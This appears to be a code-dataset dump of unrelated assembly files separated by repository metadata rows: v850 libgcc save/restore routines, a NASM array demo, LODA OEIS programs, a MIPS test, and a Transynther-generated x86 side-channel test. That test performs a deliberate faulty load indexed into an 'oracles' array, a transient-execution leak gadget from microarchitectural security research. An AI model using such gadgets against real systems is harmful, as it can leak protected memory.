.type __return_r27_r29,@function
__return_r27_r29:
ld.w 0[sp],r29
ld.w 4[sp],r28
ld.w 8[sp],r27
add 12,sp
jmp [r31]
.size __return_r27_r29,.-__return_r27_r29
#endif /* L_save_27 */
#ifdef L_save_28
.text
.align 2
.globl __save_r28_r29
.type __save_r28_r29,@function
/* Allocate space and save registers 28,29 on the stack */
/* Called via: jalr __save_r28_r29,r10 */
__save_r28_r29:
add -8,sp
st.w r29,0[sp]
st.w r28,4[sp]
jmp [r10]
.size __save_r28_r29,.-__save_r28_r29
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r28_r29 */
.align 2
.globl __return_r28_r29
.type __return_r28_r29,@function
__return_r28_r29:
ld.w 0[sp],r29
ld.w 4[sp],r28
add 8,sp
jmp [r31]
.size __return_r28_r29,.-__return_r28_r29
#endif /* L_save_28 */
#ifdef L_save_29
.text
.align 2
.globl __save_r29
.type __save_r29,@function
/* Allocate space and save register 29 on the stack */
/* Called via: jalr __save_r29,r10 */
__save_r29:
add -4,sp
st.w r29,0[sp]
jmp [r10]
.size __save_r29,.-__save_r29
/* Restore saved register 29, deallocate stack and return to the user */
/* Called via: jr __return_r29 */
.align 2
.globl __return_r29
.type __return_r29,@function
__return_r29:
ld.w 0[sp],r29
add 4,sp
jmp [r31]
.size __return_r29,.-__return_r29
#endif /* L_save_28 */
#ifdef L_save_2c
.text
.align 2
.globl __save_r2_r31
.type __save_r2_r31,@function
/* Allocate space and save registers 20 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r2_r31,r10 */
__save_r2_r31:
mov ep,r1
addi -64,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r25,32[ep]
sst.w r24,36[ep]
sst.w r23,40[ep]
sst.w r22,44[ep]
sst.w r21,48[ep]
sst.w r20,52[ep]
sst.w r2,56[ep]
sst.w r31,60[ep]
mov r1,ep
jmp [r10]
.size __save_r2_r31,.-__save_r2_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r20_r31 */
.align 2
.globl __return_r2_r31
.type __return_r2_r31,@function
__return_r2_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r25
sld.w 36[ep],r24
sld.w 40[ep],r23
sld.w 44[ep],r22
sld.w 48[ep],r21
sld.w 52[ep],r20
sld.w 56[ep],r2
sld.w 60[ep],r31
addi 64,sp,sp
mov r1,ep
jmp [r31]
.size __return_r2_r31,.-__return_r2_r31
#endif /* L_save_2c */
#ifdef L_save_20c
.text
.align 2
.globl __save_r20_r31
.type __save_r20_r31,@function
/* Allocate space and save registers 20 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r20_r31,r10 */
__save_r20_r31:
mov ep,r1
addi -60,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r25,32[ep]
sst.w r24,36[ep]
sst.w r23,40[ep]
sst.w r22,44[ep]
sst.w r21,48[ep]
sst.w r20,52[ep]
sst.w r31,56[ep]
mov r1,ep
jmp [r10]
.size __save_r20_r31,.-__save_r20_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r20_r31 */
.align 2
.globl __return_r20_r31
.type __return_r20_r31,@function
__return_r20_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r25
sld.w 36[ep],r24
sld.w 40[ep],r23
sld.w 44[ep],r22
sld.w 48[ep],r21
sld.w 52[ep],r20
sld.w 56[ep],r31
addi 60,sp,sp
mov r1,ep
jmp [r31]
.size __return_r20_r31,.-__return_r20_r31
#endif /* L_save_20c */
#ifdef L_save_21c
.text
.align 2
.globl __save_r21_r31
.type __save_r21_r31,@function
/* Allocate space and save registers 21 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r21_r31,r10 */
__save_r21_r31:
mov ep,r1
addi -56,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r25,32[ep]
sst.w r24,36[ep]
sst.w r23,40[ep]
sst.w r22,44[ep]
sst.w r21,48[ep]
sst.w r31,52[ep]
mov r1,ep
jmp [r10]
.size __save_r21_r31,.-__save_r21_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r21_r31 */
.align 2
.globl __return_r21_r31
.type __return_r21_r31,@function
__return_r21_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r25
sld.w 36[ep],r24
sld.w 40[ep],r23
sld.w 44[ep],r22
sld.w 48[ep],r21
sld.w 52[ep],r31
addi 56,sp,sp
mov r1,ep
jmp [r31]
.size __return_r21_r31,.-__return_r21_r31
#endif /* L_save_21c */
#ifdef L_save_22c
.text
.align 2
.globl __save_r22_r31
.type __save_r22_r31,@function
/* Allocate space and save registers 22 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r22_r31,r10 */
__save_r22_r31:
mov ep,r1
addi -52,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r25,32[ep]
sst.w r24,36[ep]
sst.w r23,40[ep]
sst.w r22,44[ep]
sst.w r31,48[ep]
mov r1,ep
jmp [r10]
.size __save_r22_r31,.-__save_r22_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r22_r31 */
.align 2
.globl __return_r22_r31
.type __return_r22_r31,@function
__return_r22_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r25
sld.w 36[ep],r24
sld.w 40[ep],r23
sld.w 44[ep],r22
sld.w 48[ep],r31
addi 52,sp,sp
mov r1,ep
jmp [r31]
.size __return_r22_r31,.-__return_r22_r31
#endif /* L_save_22c */
#ifdef L_save_23c
.text
.align 2
.globl __save_r23_r31
.type __save_r23_r31,@function
/* Allocate space and save registers 23 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r23_r31,r10 */
__save_r23_r31:
mov ep,r1
addi -48,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r25,32[ep]
sst.w r24,36[ep]
sst.w r23,40[ep]
sst.w r31,44[ep]
mov r1,ep
jmp [r10]
.size __save_r23_r31,.-__save_r23_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r23_r31 */
.align 2
.globl __return_r23_r31
.type __return_r23_r31,@function
__return_r23_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r25
sld.w 36[ep],r24
sld.w 40[ep],r23
sld.w 44[ep],r31
addi 48,sp,sp
mov r1,ep
jmp [r31]
.size __return_r23_r31,.-__return_r23_r31
#endif /* L_save_23c */
#ifdef L_save_24c
.text
.align 2
.globl __save_r24_r31
.type __save_r24_r31,@function
/* Allocate space and save registers 24 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r24_r31,r10 */
__save_r24_r31:
mov ep,r1
addi -44,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r25,32[ep]
sst.w r24,36[ep]
sst.w r31,40[ep]
mov r1,ep
jmp [r10]
.size __save_r24_r31,.-__save_r24_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r24_r31 */
.align 2
.globl __return_r24_r31
.type __return_r24_r31,@function
__return_r24_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r25
sld.w 36[ep],r24
sld.w 40[ep],r31
addi 44,sp,sp
mov r1,ep
jmp [r31]
.size __return_r24_r31,.-__return_r24_r31
#endif /* L_save_24c */
#ifdef L_save_25c
.text
.align 2
.globl __save_r25_r31
.type __save_r25_r31,@function
/* Allocate space and save registers 25 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r25_r31,r10 */
__save_r25_r31:
mov ep,r1
addi -40,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r25,32[ep]
sst.w r31,36[ep]
mov r1,ep
jmp [r10]
.size __save_r25_r31,.-__save_r25_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r25_r31 */
.align 2
.globl __return_r25_r31
.type __return_r25_r31,@function
__return_r25_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r25
sld.w 36[ep],r31
addi 40,sp,sp
mov r1,ep
jmp [r31]
.size __return_r25_r31,.-__return_r25_r31
#endif /* L_save_25c */
#ifdef L_save_26c
.text
.align 2
.globl __save_r26_r31
.type __save_r26_r31,@function
/* Allocate space and save registers 26 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r26_r31,r10 */
__save_r26_r31:
mov ep,r1
addi -36,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r26,28[ep]
sst.w r31,32[ep]
mov r1,ep
jmp [r10]
.size __save_r26_r31,.-__save_r26_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r26_r31 */
.align 2
.globl __return_r26_r31
.type __return_r26_r31,@function
__return_r26_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r26
sld.w 32[ep],r31
addi 36,sp,sp
mov r1,ep
jmp [r31]
.size __return_r26_r31,.-__return_r26_r31
#endif /* L_save_26c */
#ifdef L_save_27c
.text
.align 2
.globl __save_r27_r31
.type __save_r27_r31,@function
/* Allocate space and save registers 27 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r27_r31,r10 */
__save_r27_r31:
mov ep,r1
addi -32,sp,sp
mov sp,ep
sst.w r29,16[ep]
sst.w r28,20[ep]
sst.w r27,24[ep]
sst.w r31,28[ep]
mov r1,ep
jmp [r10]
.size __save_r27_r31,.-__save_r27_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r27_r31 */
.align 2
.globl __return_r27_r31
.type __return_r27_r31,@function
__return_r27_r31:
mov ep,r1
mov sp,ep
sld.w 16[ep],r29
sld.w 20[ep],r28
sld.w 24[ep],r27
sld.w 28[ep],r31
addi 32,sp,sp
mov r1,ep
jmp [r31]
.size __return_r27_r31,.-__return_r27_r31
#endif /* L_save_27c */
#ifdef L_save_28c
.text
.align 2
.globl __save_r28_r31
.type __save_r28_r31,@function
/* Allocate space and save registers 28 .. 29, 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r28_r31,r10 */
__save_r28_r31:
addi -28,sp,sp
st.w r29,16[sp]
st.w r28,20[sp]
st.w r31,24[sp]
jmp [r10]
.size __save_r28_r31,.-__save_r28_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r28_r31 */
.align 2
.globl __return_r28_r31
.type __return_r28_r31,@function
__return_r28_r31:
ld.w 16[sp],r29
ld.w 20[sp],r28
ld.w 24[sp],r31
addi 28,sp,sp
jmp [r31]
.size __return_r28_r31,.-__return_r28_r31
#endif /* L_save_28c */
#ifdef L_save_29c
.text
.align 2
.globl __save_r29_r31
.type __save_r29_r31,@function
/* Allocate space and save registers 29 & 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r29_r31,r10 */
__save_r29_r31:
addi -24,sp,sp
st.w r29,16[sp]
st.w r31,20[sp]
jmp [r10]
.size __save_r29_r31,.-__save_r29_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r29_r31 */
.align 2
.globl __return_r29_r31
.type __return_r29_r31,@function
__return_r29_r31:
ld.w 16[sp],r29
ld.w 20[sp],r31
addi 24,sp,sp
jmp [r31]
.size __return_r29_r31,.-__return_r29_r31
#endif /* L_save_29c */
#ifdef L_save_31c
.text
.align 2
.globl __save_r31
.type __save_r31,@function
/* Allocate space and save register 31 on the stack */
/* Also allocate space for the argument save area */
/* Called via: jalr __save_r29_r31,r10 */
__save_r31:
addi -20,sp,sp
st.w r31,16[sp]
jmp [r10]
.size __save_r31,.-__save_r31
/* Restore saved registers, deallocate stack and return to the user */
/* Called via: jr __return_r31 */
.align 2
.globl __return_r31
.type __return_r31,@function
__return_r31:
ld.w 16[sp],r31
addi 20,sp,sp
jmp [r31]
.size __return_r29_r31,.-__return_r29_r31
#endif /* L_save_31c */
#ifdef L_save_varargs
.text
.align 2
.globl __save_r6_r9
.type __save_r6_r9,@function
/* Save registers 6 .. 9 on the stack for variable argument functions */
/* Called via: jalr __save_r6_r9,r10 */
__save_r6_r9:
mov ep,r1
mov sp,ep
sst.w r6,0[ep]
sst.w r7,4[ep]
sst.w r8,8[ep]
sst.w r9,12[ep]
mov r1,ep
jmp [r10]
.size __save_r6_r9,.-__save_r6_r9
#endif /* L_save_varargs */
#ifdef L_save_interrupt
.text
.align 2
.globl __save_interrupt
.type __save_interrupt,@function
/* Save registers r1, r4 on stack and load up with expected values */
/* Note, 12 bytes of stack have already been allocated. */
/* Called via: jalr __save_interrupt,r10 */
__save_interrupt:
st.w ep,0[sp]
st.w gp,4[sp]
st.w r1,8[sp]
movhi hi(__ep),r0,ep
movea lo(__ep),ep,ep
movhi hi(__gp),r0,gp
movea lo(__gp),gp,gp
jmp [r10]
.size __save_interrupt,.-__save_interrupt
/* Restore saved registers, deallocate stack and return from the interrupt */
/* Called via: jr __return_interrupt */
.align 2
.globl __return_interrupt
.type __return_interrupt,@function
__return_interrupt:
ld.w 0[sp],ep
ld.w 4[sp],gp
ld.w 8[sp],r1
ld.w 12[sp],r10
addi 16,sp,sp
reti
.size __return_interrupt,.-__return_interrupt
#endif /* L_save_interrupt */
#ifdef L_save_all_interrupt
.text
.align 2
.globl __save_all_interrupt
.type __save_all_interrupt,@function
/* Save all registers except for those saved in __save_interrupt */
/* allocate enough stack for all of the registers & 16 bytes of space */
/* Called via: jalr __save_all_interrupt,r10 */
__save_all_interrupt:
addi -120,sp,sp
mov ep,r1
mov sp,ep
sst.w r31,116[ep]
sst.w r2,112[ep]
sst.w gp,108[ep]
sst.w r6,104[ep]
sst.w r7,100[ep]
sst.w r8,96[ep]
sst.w r9,92[ep]
sst.w r11,88[ep]
sst.w r12,84[ep]
sst.w r13,80[ep]
sst.w r14,76[ep]
sst.w r15,72[ep]
sst.w r16,68[ep]
sst.w r17,64[ep]
sst.w r18,60[ep]
sst.w r19,56[ep]
sst.w r20,52[ep]
sst.w r21,48[ep]
sst.w r22,44[ep]
sst.w r23,40[ep]
sst.w r24,36[ep]
sst.w r25,32[ep]
sst.w r26,28[ep]
sst.w r27,24[ep]
sst.w r28,20[ep]
sst.w r29,16[ep]
mov r1,ep
jmp [r10]
.size __save_all_interrupt,.-__save_all_interrupt
.globl __restore_all_interrupt
.type __restore_all_interrupt,@function
/* Restore all registers saved in __save_all_interrupt */
/* & deallocate the stack space */
/* Called via: jalr __restore_all_interrupt,r10 */
__restore_all_interrupt:
mov ep,r1
mov sp,ep
sld.w 116[ep],r31
sld.w 112[ep],r2
sld.w 108[ep],gp
sld.w 104[ep],r6
sld.w 100[ep],r7
sld.w 96[ep],r8
sld.w 92[ep],r9
sld.w 88[ep],r11
sld.w 84[ep],r12
sld.w 80[ep],r13
sld.w 76[ep],r14
sld.w 72[ep],r15
sld.w 68[ep],r16
sld.w 64[ep],r17
sld.w 60[ep],r18
sld.w 56[ep],r19
sld.w 52[ep],r20
sld.w 48[ep],r21
sld.w 44[ep],r22
sld.w 40[ep],r23
sld.w 36[ep],r24
sld.w 32[ep],r25
sld.w 28[ep],r26
sld.w 24[ep],r27
sld.w 20[ep],r28
sld.w 16[ep],r29
mov r1,ep
addi 120,sp,sp
jmp [r10]
.size __restore_all_interrupt,.-__restore_all_interrupt
#endif /* L_save_all_interrupt */
| 21.27874 | 78 | 0.686538 |
4d0002628de0973bd557f339909cc6ed7d8a1879 | 3,380 | asm | Assembly | reference/lab1/assembly/examples/linux/array1.asm | Leser2020/6.828 | 08fe8f9c38b9c07111e7fdff5bbb785a4d74f917 | [
"MIT"
] | 2 | 2016-08-08T02:15:49.000Z | 2016-08-08T02:26:35.000Z | reference/lab1/assembly/examples/linux/array1.asm | Leser2020/6.828 | 08fe8f9c38b9c07111e7fdff5bbb785a4d74f917 | [
"MIT"
] | 3 | 2021-05-10T21:53:08.000Z | 2022-03-25T22:46:26.000Z | books/pc-assembly-language/linux-ex/array1.asm | kruschk/learning | a93cefacbd277bd00de2919e31dfbf8e619cfff2 | [
"MIT"
] | null | null | null |
;
; file: array1.asm
; This program demonstrates arrays in assembly
;
; To create executable:
; nasm -f coff array1.asm
; gcc -o array1 array1.o array1c.c
;
%define ARRAY_SIZE 100
%define NEW_LINE 10
segment .data
FirstMsg db "First 10 elements of array", 0
Prompt db "Enter index of element to display: ", 0
SecondMsg db "Element %d is %d", NEW_LINE, 0
ThirdMsg db "Elements 20 through 29 of array", 0
InputFormat db "%d", 0
segment .bss
array resd ARRAY_SIZE
segment .text
extern puts, printf, scanf, dump_line
global asm_main
asm_main:
enter 4,0 ; local dword variable at EBP - 4
push ebx
push esi
; initialize array to 100, 99, 98, 97, ...
mov ecx, ARRAY_SIZE
mov ebx, array
init_loop:
mov [ebx], ecx
add ebx, 4
loop init_loop
push dword FirstMsg ; print out elements 20-29
call puts ; print out FirstMsg
pop ecx
push dword 10
push dword array
call print_array ; print first 10 elements of array
add esp, 8
; prompt user for element index
Prompt_loop:
push dword Prompt
call printf
pop ecx
lea eax, [ebp-4] ; eax = address of local dword
push eax
push dword InputFormat
call scanf
add esp, 8
cmp eax, 1 ; eax = return value of scanf
je InputOK
call dump_line ; dump rest of line and start over
jmp Prompt_loop ; if input invalid
InputOK:
mov esi, [ebp-4]
push dword [array + 4*esi]
push esi
push dword SecondMsg ; print out value of element
call printf
add esp, 12
push dword ThirdMsg ; print out elements 20-29
call puts
pop ecx
push dword 10
push dword array + 20*4 ; address of array[20]
call print_array
add esp, 8
pop esi
pop ebx
mov eax, 0 ; return back to C
leave
ret
;
; routine print_array
; C-callable routine that prints out elements of a double word array as
; signed integers.
; C prototype:
; void print_array( const int * a, int n);
; Parameters:
; a - pointer to array to print out (at ebp+8 on stack)
; n - number of integers to print out (at ebp+12 on stack)
segment .data
OutputFormat db "%-5d %5d", NEW_LINE, 0
segment .text
global print_array
print_array:
enter 0,0
push esi
push ebx
xor esi, esi ; esi = 0
mov ecx, [ebp+12] ; ecx = n
mov ebx, [ebp+8] ; ebx = address of array
print_loop:
push ecx ; printf might change ecx!
push dword [ebx + 4*esi] ; push array[esi]
push esi
push dword OutputFormat
call printf
add esp, 12 ; remove parameters (leave ecx!)
inc esi
pop ecx
loop print_loop
pop ebx
pop esi
leave
ret
| 24.852941 | 74 | 0.513018 |
293fa4a4ee9581bb858c3389a437052561bb9a16 | 340 | asm | Assembly | programs/oeis/029/A029835.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/029/A029835.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/029/A029835.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A029835: [ log(n-th prime) ].
; 0,1,1,1,2,2,2,2,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6
add $0,2
pow $0,2
mov $2,14
mov $3,4
lpb $0,1
add $0,1
mul $0,5
add $2,1
div $0,$2
mov $1,$2
lpe
sub $3,2
mul $1,$3
sub $1,32
div $1,2
| 17.894737 | 161 | 0.508824 |
c93a2bd9f5c40f011cbd0d369e0a077e9a83a2c1 | 341 | asm | Assembly | programs/oeis/132/A132914.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/132/A132914.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/132/A132914.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A132914: a(n) = floor(sqrt(n) + n^(1/3)).
; 2,2,3,3,3,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12
lpb $0,1
sub $0,1
add $2,1
sub $0,$2
mov $3,8
lpb $2,1
mov $2,$0
sub $0,1
lpe
add $1,$3
lpe
div $1,8
add $1,2
| 20.058824 | 163 | 0.519062 |
e85aa2f232f118a8fbd75e4b719e81e701dce74a | 4,686 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_303_771.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_303_771.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_303_771.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x11e85, %rsi
lea addresses_A_ht+0x15a05, %rdi
nop
nop
nop
nop
xor $65163, %r14
mov $18, %rcx
rep movsw
nop
nop
nop
dec %rdx
lea addresses_D_ht+0x1b685, %rbp
nop
and %r10, %r10
mov (%rbp), %rdi
nop
xor $12883, %rdx
lea addresses_A_ht+0x160f7, %rsi
lea addresses_A_ht+0xba05, %rdi
nop
nop
and %rbp, %rbp
mov $23, %rcx
rep movsq
nop
nop
nop
dec %rdi
lea addresses_D_ht+0x79c5, %rcx
nop
nop
nop
nop
add $45807, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm3
vmovups %ymm3, (%rcx)
nop
nop
inc %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_PSE+0x11e9e, %r11
nop
nop
nop
add %rax, %rax
mov (%r11), %rbx
nop
cmp $51512, %rax
// Store
lea addresses_UC+0x16a0d, %rdx
and %r8, %r8
mov $0x5152535455565758, %rbx
movq %rbx, %xmm3
vmovups %ymm3, (%rdx)
nop
nop
nop
xor %rbx, %rbx
// Store
lea addresses_WT+0x11bdd, %r11
nop
nop
dec %r13
movb $0x51, (%r11)
nop
nop
nop
add %r15, %r15
// REPMOV
lea addresses_US+0x485, %rsi
lea addresses_RW+0x2223, %rdi
nop
nop
nop
inc %r11
mov $11, %rcx
rep movsb
// Exception!!!
nop
nop
mov (0), %r11
nop
nop
nop
nop
nop
cmp $36139, %r15
// Store
mov $0xea9, %rdx
dec %r13
mov $0x5152535455565758, %r11
movq %r11, (%rdx)
// Exception!!!
nop
nop
nop
nop
nop
mov (0), %r11
nop
nop
nop
sub $37555, %r13
// Load
lea addresses_PSE+0x171d3, %r13
nop
nop
nop
sub $10109, %rax
mov (%r13), %rcx
sub $48005, %rcx
// Store
lea addresses_PSE+0x9485, %rdi
nop
nop
nop
nop
nop
dec %r8
movb $0x51, (%rdi)
nop
sub $37313, %r15
// Faulty Load
lea addresses_PSE+0x9485, %r13
nop
nop
nop
nop
nop
add $50756, %rcx
movb (%r13), %r8b
lea oracles, %rax
and $0xff, %r8
shlq $12, %r8
mov (%rax,%r8,1), %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_US', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'51': 303}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 22.103774 | 908 | 0.64618 |
6c4fd6d92ef2d0511f8d1debc6a84722a24ba495 | 7,426 | asm | Assembly | P6/data_P6_2/cal_R_test17.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | 1 | 2022-01-23T09:24:47.000Z | 2022-01-23T09:24:47.000Z | P6/data_P6_2/cal_R_test17.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | P6/data_P6_2/cal_R_test17.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | lui $1,21127
ori $1,$1,14712
lui $2,44086
ori $2,$2,40596
lui $3,61576
ori $3,$3,39849
lui $4,55309
ori $4,$4,56269
lui $5,14203
ori $5,$5,43259
lui $6,7505
ori $6,$6,18920
mthi $1
mtlo $2
sec0:
nop
nop
nop
subu $2,$6,$2
sec1:
nop
nop
nor $6,$2,$5
subu $2,$6,$2
sec2:
nop
nop
slti $6,$4,-4530
subu $1,$6,$2
